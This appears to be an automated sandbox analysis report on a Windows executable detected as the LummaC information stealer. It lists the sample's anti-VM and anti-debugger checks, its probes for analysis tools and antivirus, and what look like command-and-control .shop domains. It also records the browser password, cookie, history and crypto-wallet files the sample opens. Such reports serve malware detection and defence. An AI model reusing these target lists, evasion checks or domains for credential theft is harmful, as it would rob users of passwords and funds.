Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe TID: 7512	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: 2RxMkSAgZ8.exe, 2RxMkSAgZ8.exe, 00000000.00000002.1694121969.00000000010DD000.00000040.00000001.01000000.00000003.sdmp, 2RxMkSAgZ8.exe, 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: 2RxMkSAgZ8.exe, 00000000.00000002.1696989470.0000000005590000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 2RxMkSAgZ8.exe, 00000000.00000002.1693258030.0000000000887000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 2RxMkSAgZ8.exe, 00000000.00000002.1693258030.0000000000887000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: 2RxMkSAgZ8.exe, 00000000.00000002.1696989470.0000000005590000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: 2RxMkSAgZ8.exe, 00000000.00000002.1694121969.00000000010DD000.00000040.00000001.01000000.00000003.sdmp, 2RxMkSAgZ8.exe, 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 2RxMkSAgZ8.exe, 00000000.00000002.1693258030.0000000000857000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402882625.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: NTICE
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: SICE
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe

Code function: 0_2_05FE0D96 rdtsc

0_2_05FE0D96

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: 2RxMkSAgZ8.exe	String found in binary or memory: cloudewahsj.shop
Source: 2RxMkSAgZ8.exe	String found in binary or memory: noisycuttej.shop
Source: 2RxMkSAgZ8.exe	String found in binary or memory: rabidcowse.shop
Source: 2RxMkSAgZ8.exe	String found in binary or memory: framekgirus.shop
Source: 2RxMkSAgZ8.exe	String found in binary or memory: tirepublicerj.shop
Source: 2RxMkSAgZ8.exe	String found in binary or memory: abruptyopsn.shop
Source: 2RxMkSAgZ8.exe	String found in binary or memory: wholersorie.shop
Source: 2RxMkSAgZ8.exe	String found in binary or memory: fancywaxxers.shop
Source: 2RxMkSAgZ8.exe	String found in binary or memory: nearycrepso.shop

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: 2RxMkSAgZ8.exe, 2RxMkSAgZ8.exe, 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: CGProgram Manager
Source: 2RxMkSAgZ8.exe, 2RxMkSAgZ8.exe, 00000000.00000002.1694121969.00000000010DD000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DProgram Manager

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 2RxMkSAgZ8.exe, 00000000.00000003.1457853778.000000000091D000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1488504575.000000000091D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: 00000000.00000003.1458239399.00000000008E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1457853778.00000000008EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1452466442.00000000008E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1447007025.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2RxMkSAgZ8.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 2RxMkSAgZ8.exe, 00000000.00000003.1458239399.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ctrum\\wallets","m":["*"],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0X
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1458239399.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 1520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/E
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1458239399.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: z":"EQUA"},{"en":"cjelfplplebdjjenllpjcblmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihkakfobkmkjojpchpfgcmhfjnmnfpi","ez":"BitApp"},{"en":"kncchdigobghenbbaddojjnnaogfppfj","ez":"iWlt"},{"en":"kkpllkodjeloidieedojogacfhpaihoh","ez":"EnKrypt"},{"en":"a
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1458239399.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wa\
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1458239399.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":0,h
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1458239399.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: n":"aholpfdialjgjfhomihkjbmgjidlcdno","ez":"ExodusWeb3"},{"en":"onhogfjeacnf
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1458239399.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520}
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1433928118.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1458239399.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520}

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
